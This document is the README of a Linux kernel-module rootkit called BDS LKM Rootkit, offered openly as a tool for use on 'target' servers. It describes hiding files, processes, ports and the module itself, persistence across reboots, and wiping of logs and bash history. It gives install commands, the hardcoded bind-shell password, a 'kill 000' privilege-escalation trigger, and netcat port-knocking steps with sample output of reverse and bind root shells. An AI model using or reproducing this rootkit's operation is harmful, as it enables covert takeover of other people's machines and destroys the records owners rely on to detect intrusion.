BDS LKM ROOTKIT

Linux Loadable Kernel Module Rootkit for Linux Kernel 5.x and 6.x on x86_64.
Developed by : Antonius
Website : www.bluedragonsec.com
Github : https://github.com/bluedragonsecurity
This lkm rootkit works on x64 architecture only.

Features

• hides files and directories with prefix bds_
• port knocking bind shell (bind shell password is bluedragonsec)
• port knocking reverse shell
• privilege escalation using kill 000 command
• hides bind shell and reverse shell port from netstat
• hides bind shell and reverse shell process
• rootkit persistence to survive after reboot
• hides module
• cleans up logs and bash history during installation

Installation

You need root privilege for installing this rootkit.
In case you have installed linux kernel headers, make and gcc, install it by running the installer script:

./install.sh direct

In case you haven't installed linux kernel headers, make and gcc, install it by running the installer script :

./install.sh

Using the Rootkit

Privilege Escalation
Once the rootkit installed on the system, in case you lost root privilege, you can regain root privilege by typing : kill 000

robotsoft@robotsoft:~$ id
uid=1000(robotsoft) gid=1000(robotsoft) groups=1000(robotsoft),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),999(sambashare)
robotsoft@robotsoft:~$ kill 000
robotsoft@robotsoft:~$ id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),999(sambashare),1000(robotsoft)

Activating Reverse Shell
To activate reverse shell, you need to set up a port listener using netcat on port 31337, then do port knocking to your target server (with rootkit installed) on port 1337.
On your machine, open terminal and type:

nc -l -p 31337 -v

Open another terminal tab and do port knocking to target server :

nc server ip 1337

Wait a few seconds and you will get reverse shell port connection from your target server.
Example (server ip address with rootkit installed is at 192.168.0.102):

  robotsoft@robotsoft:~$ nc -l -p 31337 -v
  Listening on 0.0.0.0 31337

Do port knocking to target ip address (with rootkit installed) :

robotsoft@robotsoft:~$ nc 192.168.0.102 1337

Back on your previous netcat listener, you will receive a reverse shell connection :

robotsoft@robotsoft:~$ nc -l -p 31337 -v
Listening on 0.0.0.0 31337
Connection received on 192.168.0.102 44052
Linux robotsoft 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) groups=0(root)

Activating Bind Shell
To activate bind shell, you need to do port knocking to your target server (with rootkit installed) on port 1338. The bind shell password is : bluedragonsec
On your machine, open terminal and type:

nc server ip 1338

Wait a few seconds then type:

nc server ip 31337
type the password : bluedragonsec

Example (server ip address with rootkit installed is at 192.168.0.102):

robotsoft@robotsoft:~$ nc 192.168.0.102 1338
(wait a few seconds)
robotsoft@robotsoft:~$ nc 192.168.0.102 31337
Password :bluedragonsec
Linux robotsoft 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) groups=0(root)

Hiding Files and Directories
To hide file and directory just give prefix bds_ to file name and directory name

How to Clean Logs and Bash History ?
Before running installation script, add username to clean logs to usernames_to_clear_logs.txt in new line, example:

root
robotsoft

User logs will be cleaned during rootkit installation

Persistence
The rootkit is activated every time the system starts up. After the reboot, wait for 1 minute, the rootkit will be loaded into kernel.

Process Hiding
This rootkit hides bind shell process and reverse shell process.

Port Hiding
This rootkit hides bind shell port and reverse shell port.